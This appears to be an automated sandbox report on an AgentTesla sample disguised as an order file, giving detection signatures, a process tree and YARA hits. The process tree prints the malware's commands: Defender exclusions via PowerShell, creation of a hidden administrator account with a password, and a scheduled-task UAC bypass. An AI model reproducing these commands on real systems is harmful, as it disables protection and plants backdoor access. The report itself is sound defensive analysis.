Play interactive tour

Edit tour

Windows Analysis Report #NEW ORDER FOR JANUARY 2022.exe

Overview

General Information

Sample Name:	#NEW ORDER FOR JANUARY 2022.exe
Analysis ID:	553020
MD5:	8b974d65bf7e334d75f57027821ac628
SHA1:	f3ccc2d15a771715e6653d470f955f7095e3cd17
SHA256:	c2628acd6b807facd37a0b0db1068f80fa2c87702d6a687445a9ec1dc3bc2421
Tags:	agentteslaexe
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected UAC Bypass using CMSTP

Multi AV Scanner detection for submitted file

Yara detected Telegram RAT

Yara detected AgentTesla

Yara detected AntiVM3

Multi AV Scanner detection for dropped file

Creates an autostart registry key pointing to binary in C:\Windows

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Initial sample is a PE file and has a suspicious name

Writes to foreign memory regions

Contains functionality to hide user accounts

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses the Telegram API (likely for C&C communication)

Adds a new user with administrator rights

Injects a PE file into a foreign processes

Sigma detected: Powershell Defender Exclusion

.NET source code contains very large array initializations

Sigma detected: Hurricane Panda Activity

Adds a directory exclusion to Windows Defender

Creates autostart registry keys with suspicious names

Drops executables to the windows directory (C:\Windows) and starts them

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Uses schtasks.exe or at.exe to add and modify task schedules

Drops PE files with benign system names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Drops PE files

Sigma detected: Net.exe User Account Creation

Drops PE files to the windows directory (C:\Windows)

Binary contains a suspicious time stamp

Contains capabilities to detect virtual machines

Creates a window with clipboard capturing capabilities

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

#NEW ORDER FOR JANUARY 2022.exe (PID: 6588 cmdline: "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" MD5: 8B974D65BF7E334D75F57027821AC628)

powershell.exe (PID: 6684 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 1744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

net.exe (PID: 3604 cmdline: "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add MD5: DD0561156F62BC1958CE0E370B23711B)

conhost.exe (PID: 4780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

net1.exe (PID: 5692 cmdline: C:\Windows\system32\net1 user ADMIN~1 SECRET@1234 /add MD5: B5A26C2BF17222E86B91D26F1247AF3E)

conhost.exe (PID: 5568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

net.exe (PID: 5664 cmdline: "C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add MD5: DD0561156F62BC1958CE0E370B23711B)

conhost.exe (PID: 5956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

net1.exe (PID: 5344 cmdline: C:\Windows\system32\net1 localgroup administrators ADMIN~1 /add MD5: B5A26C2BF17222E86B91D26F1247AF3E)

net.exe (PID: 6868 cmdline: "C:\Windows\system32\net.exe" localgroup users "user" /add MD5: DD0561156F62BC1958CE0E370B23711B)

conhost.exe (PID: 5952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

net1.exe (PID: 4864 cmdline: C:\Windows\system32\net1 localgroup users "user" /add MD5: B5A26C2BF17222E86B91D26F1247AF3E)

net.exe (PID: 6908 cmdline: "C:\Windows\system32\net.exe" localgroup administrators "user" /del MD5: DD0561156F62BC1958CE0E370B23711B)

conhost.exe (PID: 2628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

net1.exe (PID: 7040 cmdline: C:\Windows\system32\net1 localgroup administrators "user" /del MD5: B5A26C2BF17222E86B91D26F1247AF3E)

schtasks.exe (PID: 6240 cmdline: "C:\Windows\system32\schtasks.exe" /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

conhost.exe (PID: 7112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 7056 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 7060 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 1556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 1472 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 4672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ComSvcConfig.exe (PID: 4564 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe MD5: 2778AE0EB674B74FF8028BF4E51F1DF5)

aspnet_regbrowsers.exe (PID: 7068 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe MD5: B490A24A9328FD89155F075FA26C0DEC)

svchost.exe (PID: 7136 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4876 cmdline: "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" MD5: 8B974D65BF7E334D75F57027821AC628)

powershell.exe (PID: 6008 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

aspnet_regbrowsers.exe (PID: 4588 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe MD5: B490A24A9328FD89155F075FA26C0DEC)

svchost.exe (PID: 1004 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6712 cmdline: "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" MD5: 8B974D65BF7E334D75F57027821AC628)

powershell.exe (PID: 6996 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AddInProcess32.exe (PID: 5200 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe MD5: F2A47587431C466535F3C3D3427724BE)

ilasm.exe (PID: 6684 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe MD5: 432EAF71554C788169F9E8258BB9FF60)

AddInProcess32.exe (PID: 6748 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe MD5: F2A47587431C466535F3C3D3427724BE)

#NEW ORDER FOR JANUARY 2022.exe (PID: 5684 cmdline: "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" MD5: 8B974D65BF7E334D75F57027821AC628)

powershell.exe (PID: 6240 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

jsc.exe (PID: 6512 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe MD5: 2B40A449D6034F41771A460DADD53A60)

svchost.exe (PID: 6916 cmdline: "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" MD5: 8B974D65BF7E334D75F57027821AC628)

powershell.exe (PID: 1424 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

CasPol.exe (PID: 5344 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe MD5: F866FC1C2E928779C7119353C3091F0C)

svchost.exe (PID: 6728 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6852 cmdline: "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" MD5: 8B974D65BF7E334D75F57027821AC628)

powershell.exe (PID: 5692 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

RegSvcs.exe (PID: 4204 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

svchost.exe (PID: 6728 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
0000003B.00000000.888165359.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000003B.00000000.888165359.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000001F.00000000.710933564.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001F.00000000.710933564.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000025.00000000.745218195.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000025.00000000.745218195.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000002F.00000000.788423328.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000002F.00000000.788423328.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000025.00000000.744599446.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000025.00000000.744599446.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000001F.00000000.710472370.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001F.00000000.710472370.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000002F.00000002.931530989.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000002F.00000002.931530989.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000026.00000003.795978697.0000000005A52000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000002F.00000000.784941162.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000002F.00000000.784941162.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000002F.00000000.790295907.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000002F.00000000.790295907.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000003B.00000002.938179182.0000000002471000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000003B.00000002.938179182.0000000002471000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000003B.00000002.938179182.0000000002471000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000030.00000002.929093994.0000000006280000.00000004.00020000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000030.00000002.929093994.0000000006280000.00000004.00020000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000030.00000002.927387694.00000000049D1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000030.00000002.927387694.00000000049D1000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000025.00000000.744014270.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000025.00000000.744014270.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000001F.00000000.710080019.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001F.00000000.710080019.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000024.00000003.773583087.0000000004B9C000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000034.00000000.817068526.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000034.00000000.817068526.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000002F.00000000.786765310.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000002F.00000000.786765310.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.737999019.0000000005A90000.00000004.00020000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.737999019.0000000005A90000.00000004.00020000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000038.00000002.938786458.0000000003511000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000038.00000002.938786458.0000000003511000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000038.00000002.938786458.0000000003511000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000000.709643389.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001F.00000000.709643389.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000003B.00000000.890224140.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000003B.00000000.890224140.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000030.00000003.850266618.0000000006E02000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000003B.00000000.885768767.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000003B.00000000.885768767.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000029.00000003.829188638.00000000043CE000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000024.00000002.850912152.0000000006330000.00000004.00020000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000024.00000002.850912152.0000000006330000.00000004.00020000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000020.00000002.786901859.0000000005F70000.00000004.00020000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000020.00000002.786901859.0000000005F70000.00000004.00020000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000025.00000002.931661414.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000025.00000002.931661414.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000029.00000003.814234215.0000000006432000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000029.00000002.920418875.0000000005C10000.00000004.00020000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000029.00000002.920418875.0000000005C10000.00000004.00020000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000025.00000000.746142761.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000025.00000000.746142761.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000020.00000002.779987071.000000000474D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000020.00000002.779987071.000000000474D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000024.00000002.842251291.0000000004AED000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000024.00000002.842251291.0000000004AED000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000030.00000002.927080316.0000000004715000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000030.00000002.927080316.0000000004715000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000024.00000003.756169106.0000000006B42000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000024.00000003.778067403.0000000004B45000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000038.00000000.845760653.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000038.00000000.845760653.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000003B.00000000.883261997.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000003B.00000000.883261997.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000003B.00000002.932852897.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000003B.00000002.932852897.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000034.00000000.814526101.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000034.00000000.814526101.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000038.00000000.843348334.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000038.00000000.843348334.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000026.00000002.886344519.0000000003C5D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000026.00000002.886344519.0000000003C5D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000038.00000000.847213598.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000038.00000000.847213598.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000029.00000002.916893319.0000000004381000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000034.00000000.815839505.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000034.00000000.815839505.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.734261757.000000000428D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.734261757.000000000428D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000034.00000000.818834012.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000034.00000000.818834012.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000029.00000002.911408277.000000000413D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000029.00000002.911408277.000000000413D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000029.00000002.911408277.000000000413D000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000029.00000002.911408277.000000000413D000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000003.705890791.0000000004E74000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000034.00000002.938600597.0000000002C41000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000034.00000002.938600597.0000000002C41000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000034.00000002.938600597.0000000002C41000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000038.00000000.840897044.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000038.00000000.840897044.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000020.00000003.735522789.00000000067C2000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000002F.00000002.937902584.0000000002D61000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000002F.00000002.937902584.0000000002D61000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000002F.00000002.937902584.0000000002D61000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000038.00000002.931663085.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000038.00000002.931663085.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000034.00000002.931619495.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000034.00000002.931619495.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000029.00000002.909583647.00000000040C5000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000029.00000002.909583647.00000000040C5000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000026.00000002.871462494.00000000038F1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000026.00000002.871462494.00000000038F1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000026.00000002.871462494.00000000038F1000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000026.00000002.871462494.00000000038F1000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000003.706917679.00000000062D2000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001F.00000002.754034850.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001F.00000002.754034850.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
